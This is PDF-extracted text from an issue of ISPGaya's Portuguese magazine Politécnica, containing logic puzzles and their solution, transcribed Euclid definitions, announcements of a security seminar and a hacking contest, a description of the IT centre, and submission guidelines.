lado, o facto de, na coluna O (figura 2), estarem inscritos
zeros nas linhas pi, e o significa que o senhor Oliveira (O)
Problemas e curiosidades
JJooaaqquuiimm AAllbbuuqquueerrqquuee ddee MMoouurraa RReellvv aass
ISPGaya
Rua Rodrigues da Rocha, 291, 341
Santo Ovídio, 4400-025 Vila Nova Gaia
1. PROBLEMAS DE LÓGICA.
No número anterior desta revista foi posto um problema
cujo texto seguidamente se transcreve:
«O senhor Pinheiro, o senhor Laranjeira, o senhor Oliveira e
o senhor Pereira têm um pinhal, um laranjal um olival e um
peral. Cada um tem apenas uma destas propriedades, mas
nenhuma delas corresponde ao nome do seu dono. Além
disso, nem o senhor Laranjeira nem o senhor Oliveira são
donos do Pinhal. O peral não pertence ao senhor Pinheiro
nem o laranjal ao senhor Oliveira. Qual o dono de cada
propriedade?»
Solução
Comece-se por considerar o universo do discurso
constituído por 16 conjuntos disjuntos, cada um dos quais
com 2 elementos, um proprietário Pj e uma propriedade pk,
sendo cada um deles formado pela intersecção Pj pk, cada
qual representada por uma célula no diagrama de Venn
ilustrado na figura 1. É claro que, quando um Pj não é
proprietário de uma pk, a intersecção Pj pk é um conjunto
vazio, a designar por 0.
Figura 1
O facto de nenhuma das propriedades corresponder ao
nome do seu dono traduz-se então na inscrição de zeros nas
correspondentes células do diagrama de Venn, conforme se
encontra indicado na figura 2. Além disso, do facto de nem
o senhor Laranjeira nem o senhor Oliveira serem donos do
pinhal, resulta que as intersecções L pi e O pi são conjuntos
vazios, o que implica a inscrição de zeros nas células
Pi L O Pe
Pi
O
Pe
Pi L O Pe
0 0 0
0 0
0
0
Pi
O
Pe 0
Pi L O Pe
0 0 0 1
0 0
0
0
Pi
O
Pe 1 0
46
não pode ser proprietário nem do pinhal (pi), nem do
laranjal ( ), nem do olival (o). Então só o senhor Oliveira
pode ser dono do peral, facto que se encontra ilustrado na
figura 3 pela inscrição de um 1 na célula representativa da
intersecção O pe.
Uma vez que a linha pe (figura 3) mostra que o peral
pertence ao senhor Oliveira, aquela propriedade não pode
pertencer ao senhor Laranjeira, facto que se encontra
representado, na figura 4, pela inscrição de um zero na
célula representativa da intersecção L pe. Por outro lado,
uma vez que a coluna Pe (figura 3) mostra que o senhor
Pereira é o proprietário do pinhal, conclui-se que não o é
nem do laranjal, nem do olival o, facto que se encontra
representado, na figura 4, pela inscrição de zeros nas células
representativas das intersecções Pe e Pe o.
Figura 4
O facto de, na linha (figura 4), estarem inscritos zeros nas
colunas L, O e Pe significa que o laranjal não pertence nem
ao senhor laranjeira, nem ao senhor Oliveira, nem ao senhor
Pereira. Então o olival só pode pertencer ao senhor Pinheiro,
facto que se encontra ilustrado na figura 5 pela inscrição de
um 1 na célula representativa da intersecção Pi. Por outro
lado, o facto de, na coluna L (figura 4), estarem inscritos
zeros significa que o senhor Laranjeira não pode ser
proprietário nem do pinhal (pi), nem do laranjal ( ), nem do
peral (pe). Então só o senhor Laranjeira pode ser proprietário
do Olival (o), facto que se encontra ilustrado na figura 5
pela inscrição de um 1 na célula representativa da
intersecção L o.
Figura 5
Finalmente, dado que a coluna Pi (figura 5) mostra que o
laranjal (_) pertence ao senhor Pinheiro, o olival (o) não
pode pertencer a este proprietário, até porque, de acordo
com a linha o da mesma figura, ele já pertence ao senhor
Laranjeira. Estes factos implicam a inscrição de um zero na
célula representativa da intersecção Pi o, tal como se ilustra
na figura 6. Então esta figura mostra que:
Figura 6
1. O senhor Pinheiro é o dono do laranjal.
2. O senhor Laranjeira é o dono do olival.
3. O senhor Oliveira é o dono do peral.
4. O senhor Pereira é o dono do pinhal.
Problema 7
Uma traça, com 1 centímetro de comprimento, «viajava»,
através de uma série compacta de livros, com a velocidade
constante de 15 centímetros por hora. Às tantas chegou a
um volume com 1 centímetro de espessura. Quantos
minutos demorou para atravessar o livro?
2. ALGUMAS DEFINIÇÕES DE EUCLIDES.
No número 1 desta revista transcreveu-se, dada a curiosidade
de que se revestia, o prefácio do livro «ELEMENTOS DE
EUCLIDES», da segunda metade do século XVIII. O livro
resultou da tradução da versão latina dos trabalhos do grande
geómetra Euclides de Alexandria, que viveu nessa cidade na
primeira metade do século III a.C.. O livro começa com uma
série de definições, cujo enunciado é apresentado de maneira
tão curiosa que não resistimos à tentação de transcrever para
aqui os enunciados das dez primeiras:
I. Ponto he o que não tem partes, ou o que não tem
grandeza alguma.
II. Linha he o que tem comprimento sem largura.
III. As extremidades da linha são pontos.
IV. A linha recta he aquella, que está posta igualmente entre
as suas extemidades.
V. Superficie he o que tem comprimento, e largura.
VI. As extremidades da superficie são linhas.
Pi L O Pe
0 0 0 1
0 0 0
0 0
0
Pi
O
Pe 0 1 0
Pi L O Pe
0 0 0 1
1 0 0 0
0 1 0 0
0
Pi
O
Pe 0 1 0
Pi L O Pe
0 0 0 1
1 0 0 0
1 0 0
0
Pi
O
Pe 0 1 0
66 Politécnica
47
VII. A superficie plana he aquella, sobre a qual assenta toda
huma linha recta entre dous pontos quaesquer, que
estiverrem sobre a mesma superfície.
VIII. O angulo plano he a inclinação reciproca de duas linhas,
que se tocão em huma superficie plana, sem estarem em
direitura huma com outra.
IX. O angulo plano rectilineo he a inclinação reciproca de
duas linhas rectas, que se encontrão, e não estão em
direitura huma com outra.
Se alguns angulos existirem no mesmo ponto B (Figura 1),
cada hum deles vem indicado com tres letras do alfabeto; e
a que estiver no vertice do angulo, isto he, no ponto, no
qual, se encontrão as rectas, que formão o angulo, se põe
no meio das outras duas; e destas huma está posta perto de
huma das ditas rectas, em alguma parte, e a outra perto da
outra linha. Assim o angulo feito pelas rectas AB, CB
representar-se-há com as letras ABC, ou CBA;
o angulo formado pelas rectas AB,DB, com as letras ABD,
ou DBA; e o angulo que fazem as rectas DB, CB, com as
letras DBC, ou CBD. Mas se hum angulo estiver separado de
outro qualquer, poder-se-há marcar com a mesma letra, que
estiver no vertice, como o angulo no ponto E (Figura 2).
X. Quando huma linha recta, cahindo sobre outra linha
recta, fizer com esta dous angulos iguaes, hum e huma, e
outro de outra parte, cada hum destes angulos iguaes se
chama angulo recto; e a linha incidente se diz perpendicular
à outra linha, sobre a qual cahe (Figura 3).
Joaquim Albuquerque de Moura Relvas
48
66 Politécnica
49
Segurança e Informática
Mestre António José Marques, docente no ISPGaya e
Administrador de Sistemas no Centro de Informática do
ISPGaya (CIISP); Luís Miguel Silva, aluno no 2º ano de
Engenharia Informática no ISPGaya e Administrador de
Sistemas Júnior no Centro de Informática do ISPGaya (CIISP).
Seminário realizado no dia 14 de Novembro de 2002.
Resumo: O conceito de “Hacking” é muitas vezes
deturpado pelos media criando uma tema controverso à
volta de um tabu sensacionalista. A realidade é que uma
grande percentagem de empresas/instituições (dentro e fora
de Portugal) não se preocupam minimamente com a
protecção dos seus dados e no que lhes pode acontecer
face a uma eventual quebra de segurança.
Este seminário pretende “educar” para o culto da segurança
informática mostrando qual a severidade de um worst case
scenario e o que fazer para o evitar.
Os tópicos que serão cobertos por este seminário são:
. Introdução à segurança.
. Alguns conceitos e os seus significados.
. Conceitos básicos de redes.
. Os sistemas operativos e as redes.
. Os serviços mais comuns.
. As Falhas mais comuns.
. Métodos de detecção e combate.
. Cryptografia.
. Resposta a incidentes.
. Auditorias, análise de ameaças, testes de penetração.
Seminários, conferências,workshops
(Título) Divulgação
50
SECONT
O Instituto Superior Politécnico Gaya encontra-se a
organizar um concurso de segurança em redes informáticas
que decorre entre o dia 1 de Outubro de 2002 e o dia 31 de
Janeiro de 2003. Os principais objectivos são:
• Sensibilizar para a necessidade da protecção dos dados
informáticos;
• Promover o aparecimento de novas técnicas de segurança
em redes informáticas;
• Incentivar a auto-aprendizagem e a iniciativa de protecção
de dados informatizados;
• Desmistificar a complexidade da segurança das redes
informáticas.
O desafio consiste em ultrapassar as barreiras de segurança
colocadas num servidor dedicado em exclusivo ao evento e
mudar a página principal do site do concurso -
www.secont.org.
Assim que um concorrente consiga atingir esse feito, o
concurso terminará imediatamente e o servidor reverterá
como prémio.
GABINETE DE RELAÇÕES COM O EXTERIOR (GREXT)
E
GABINETE DE ESTÁGIOS E EMPREGO (GEE)
O ISPGaya procedeu recentemente a uma realocação de
recursos nos gabinetes de Relações com o Exterior e de
Estágios e Emprego. Assim, com a cessação de funções do
dr. Fernando Lemos, o GEE passou a contar com o doutor
Hugo Coimbra como responsável do gabinete, enquanto
que o GREXT passou a ter como responsável o dr. José
Santos a quem compete também a gestão de serviços às
empresas/instituições.
66 PolitécnicaDivulgação
66 Politécnica(Título) Divulgação
51
CIISP
O Centro de Informática do Instituto Politécnico Gaya
(CIISP), é o núcleo responsável pela estrutura informática e
do sistema de informação do ISPGaya, tendo como
principais funções:
• Configurar e manter os equipamentos de informática
existentes nas diversas salas;
• Instalar e manter a rede informática interna;
• Gerir todos os sistemas informáticos centrais;
• Gerir o serviço de acesso à Internet;
• Gerir as aquisições de material informático e respectivo
software;
• Prestar apoio a todos os utentes do Centro;
• Prestar apoio a todos os funcionários do Instituto na
utilização dos meios informáticos;
• Prestar apoio na informatização de todos os serviços do
Instituto.
Constituído por uma equipa de seis pessoas, o CIISP
disponibiliza um conjunto de serviços, dos quais se
destacam os seguintes:
• Acesso livre aos laboratórios de Informática;
• Acesso incondicionado à Internet;
• Espaço em disco nos Servidores Newton, Leonardo e
Páginas;
• Conta de correio electrónico ([email protected]);
• Acesso à conta de email em qualquer parte do mundo
(http://webmail.ispgaya.pt ou utilizando um programa de
email);
• Página pessoal alojada no Servidor Páginas
(http://paginas.ispgaya.pt/~user);
• Acesso FTP sobre o servidor páginas;
• Possibilidade de trabalho remoto sobre o servidor Páginas;
• Disponibilidade de servidores de Bases de Dados;
• Computadores instalados com o Sistema Operativo
Windows e Linux;
• Utilização das versões de software mais recentes;
• Serviço de backup automático nos servidores;
• Disponibilização de equipamento para efectuar
digitalizações;
• Gravação de trabalhos académicos em CD;
• Apoio personalizado pelos monitores de informática que
integram o CIISP.
O parque informático do Instituto está distribuído por doze
salas de informática devidamente equipadas, abertas a toda
a comunidade do ISPGaya, podendo o aluno, professor ou
funcionário, usar qualquer computador, desde que este não
esteja numa sala em que decorra, nesse momento, uma
aula.
O número de computadores é, aproximadamente de duas
centenas, existindo todos os anos lectivos uma preocupação
em renovar o parque informático, com a finalidade de poder
fornecer uma resposta adequada às últimas versões de
software utilizado nas diversas cadeiras dos cursos, que
recorrem a equipamento informático como ferramenta de
apoio ou como núcleo da disciplina.
Divulgação
52
Os interessados em publicar artigos originais ou de revisão narevista Politécnica, bem como publicitar eventos, o poderãofazer submetendo os textos ao Corpo Editorial. Estes podem serenviados por disquete para: Revista Politécnica, Instituto SuperiorPolitécnico Gaya, Rua António Rodrigues da Rocha, 291, 341 –Santo Ovídio, 4400-025 Vila Nova de Gaia, ou por e-mail para oendereço [email protected]. Os artigos a ser submetidospara publicação devem ser redigidos em Português emMSWORD (PC ou MAC), juntamente com uma cópia impressa aespaçamento duplo. O tipo de letra a utilizar deverá ser o TimesNew Roman. Não está, no entanto, excluída a possibilidade darevista aceitar contribuições noutras línguas.
Letras de outros alfabetos e símbolos matemáticos ecientíficos devem ser escritos correctamente. Nunca utilizar"a" para a letra grega "α" (alfa), "u" para o grego "µ"(miu), etc., siglas e nomes registados (”, ‘, “) não devemaparecer em títulos. Abreviaturas e nomenclatura devem serconforme a prática estabelecida por organizações einstitutos profissionais, ou consagrados pelo seu usocorrente. Da primeira vez que apareça no texto alguma siglaou nome comercial registado, o seu significado deve serreferido por extenso entre parêntesis.Não devem ser utilizados sistemas de notação diversos. Paratextos de engenharia, utilizar símbolos e unidadesconvencionais, constantes das listas existentes.
1. Título.O título deverá ser escrito em letras maiúsculas, tamanho 14pt, negrito e centrado.
2. Autores.Após o título devem ser mencionados, os nomes dos autores,endereços e e-mail. O texto deve possuir tamanho 12 pt,itálico e centrado. Em rodapé deve ser incluído uma descriçãosumária das actividades desempenhadas. Os autores deverãoincluir uma fotografia actualizada, em formato digital.
3. Corpo do Artigo.O corpo do artigo deve estar subdividido logicamente emsecções numeradas e, se necessário em subsecçõesnumeradas. Os títulos devem ser a negrito.O texto deve ser escrito em duas coluna e com letra detamanho 12 pt e espaçamento de 1,5 linhas.
4. Resumo.Os artigos devem conter um resumo, no máximo de 90palavras, que perspective o problema e sumarie osresultados, ou conclusões. O resumo deve ser escrito comletra tamanho 10 pt, justificado e espaçamento simples.
5. Palavras Chave.A seguir ao resumo deverão ser mencionadas as palavraschave referentes ao artigo, escritas com letra tamanho 10pt, alinhado à esquerda.
6. Figuras.As figuras devem ser cuidadosamente preparadas,devidamente numeradas e acompanhadas por uma legenda(tamanho 10 pt, negrito). As figuras devem, igualmente, sergravadas num ficheiro separado com a extensão TIF ou JPG.
7. Tabelas.As tabelas também devem ser numeradas e acompanhadaspor um título (tamanho 10 pt, negrito). Todas as colunas deuma tabela devem possuir um cabeçalho.
8. Referências.As referências devem ser listadas, por ordem alfabética deautor, numa secção denominada "Referências", que devesurgir no final do artigo. Todas as referências devem sercitadas no texto por autor e data, dentro de parêntesisrectos.Ex.: [Pereira 1999] [Moreira, et al.1991]Ilustra-se de seguida a forma de apresentar as referências nofinal do artigo:a) Artigos de revistas:Ex.: Carvalho, J. e Moura, I., "A Avaliação do Sucesso dosSistemas de Apoio ao Trabalho de Grupo. AlgumasQuestões", Sistemas de Informação, 8, (1998), 23-41.b) Livros:Ex.: Porter, M., Estratégia Competitiva - Técnicas paraAnálise de Indústrias e da Concorrência, Editora Campos,Rio de Janeiro, 1991.
Os artigos publicados são única e exclusivamente daresponsabilidade dos seus autores.A aceitação de artigos estará sujeita a uma apreciação préviapor uma Comissão Científica, que, no entanto, não retira aresponsabilidade aos autores dos artigos.
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